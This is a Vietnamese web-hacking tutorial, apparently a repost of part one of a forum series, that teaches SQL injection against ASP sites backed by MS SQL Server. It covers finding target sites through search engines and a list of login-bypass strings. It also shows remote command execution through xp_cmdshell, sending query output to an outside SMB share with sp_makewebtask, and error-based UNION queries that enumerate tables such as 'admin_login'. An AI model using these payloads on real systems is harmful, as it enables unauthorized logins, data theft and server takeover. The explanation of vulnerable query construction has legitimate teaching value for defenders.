Anken - Tổng hợp về SQL Injection (bài 1) - Y!m: This_Love_No1

Tổng hợp về SQL Injection (bài 1)

Hi all , những người nghiên cứu hacking ở Việt Nam đã nói khá nhiều về kĩ thuật SQL Injection , Fantomas311 còn giữ một số bài viết hay và cơ bản về vấn đề này , post lên cho anh em tham khảo và cho những người đến sau có dịp tìm hiểu về một kĩ thuật hack khá thông dụng trong web hacking

--------------------------------------------

PHẦN 1:

SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...

2) Tìm kiếm mục tiêu

Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback, ...

http://vịtcon/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã HTML mới thấy rõ.

<FORM action=Search/search.asp method=post>

<input type=hidden name=A value=C>

</FORM>

3) Kiểm tra chử yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--

- Login: hi' or 1=1--

- Pass: hi' or 1=1--

- http://vịtcon/index.asp?id=hi' or 1=1--

Nếu site chuyển tham số qua field ẩn, bạn hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

<FORM action=http://vịtcon/Search/search.asp method=post>

<input type=hidden name=A value="hi' or 1=1--">

</FORM>

Nếu thành công, bạn có thể login vào mà không cần phải biết username và password

4) Tại sao ' or 1=1-- có thể bypass login?

Giả sử như có một trang asp link đến một asp trang khác với URL như sau:

http://vịtcon/index.asp?category=food

Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"

set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request.category, 'food' và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'

Nếu bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng 'food' hay không. Hai dấu gạch ngang "--" chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay "--" thành "#"

Bạn cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lửi hay không:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

5) Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.

Dấu chấm phẩy ( sẽ kết thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6) Nhận output của SQL query

Bạn có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

folder "share" phải được share cho Everyone trước.

7) Nhận data qua 'database using ODBC error message'

Các error message của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://vịtcon/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

System table INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Field TABLE_NAME chứa tên của mửi table trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

Dòng query này sẽ trả về tên của table đầu tiên trong CSDL

Khi chúng ta UNION string này với số integer 10, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lửi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lửi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.

/index.asp, line 5

Thông báo lửi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của table đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của table tiếp theo, bạn có thể dùng query sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Bạn cũng có thể search data bằng từ khóa LIKE:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Se rver]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như bạn thấy trong error message trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

fantomas311(VNISS)

Bạn đang đọc truyện trên: TruyenTop.Vip